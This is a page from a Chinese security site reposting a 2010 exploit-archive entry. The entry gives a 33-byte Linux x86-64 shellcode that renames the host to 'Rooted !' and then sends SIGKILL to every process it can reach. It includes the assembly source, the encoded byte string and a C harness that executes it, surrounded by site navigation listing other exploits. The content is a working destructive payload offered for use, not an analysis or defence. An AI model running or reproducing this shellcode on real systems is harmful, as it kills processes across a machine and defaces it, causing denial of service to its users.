首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
linux/x86-64 sethostname() & killall shellcode 33 bytes
来源:vfocus.net 作者:zbt 发布时间:2010-04-27  
=======================================================
linux/x86-64 sethostname() & killall shellcode 33 bytes
=======================================================

# Linux/x86_64 sethostname() & killall 33 bytes shellcode
# Date: 2010-04-26
# Author: zbt
# Tested on: x86_64 Debian GNU/Linux


/*
    ; sethostname("Rooted !");
    ; kill(-1, SIGKILL);


    section .text
        global _start

    _start:

        ;-- setHostName("Rooted !"); 22 bytes --;
        mov     al, 0xaa
        mov     r8, 'Rooted !'
        push    r8
        mov     rdi, rsp
        mov     sil, 0x8
        syscall

        ;-- kill(-1, SIGKILL); 11 bytes --;
        push    byte 0x3e
        pop     rax
        push    byte 0xff
        pop     rdi
        push    byte 0x9
        pop     rsi
        syscall
*/
int main(void)
{
    char shellcode[] =
    "\xb0\xaa\x49\xb8\x52\x6f\x6f\x74\x65\x64\x20\x21\x41\x50\x48\x89"
    "\xe7\x40\xb6\x08\x0f\x05\x6a\x3e\x58\x6a\xff\x5f\x6a\x09\x5e\x0f\x05";

    (*(void (*)()) shellcode)();

    return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Safari 4.0.5 (531.22.7) Denial
·Serenity Audio Player Buffer O
·Avast! 4.7 aavmker4.sys privil
·win32/xp sp3 (Fr) calc.exe she
·IDEAL Migration 2009 v4.5.1 Lo
·Acoustica v. 3.32 cd/dvd label
·IDEAL Administration 2010 v10.
·Boutique SudBox 1.2 Changer Lo
·WebKit <= 532.5 Stack Exhausti
·Portaneo Portal v2.2.3 Remote
·Avast! 4.7 aavmker4.sys privil
·linux/x86 sends "Phuck3d!" to
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved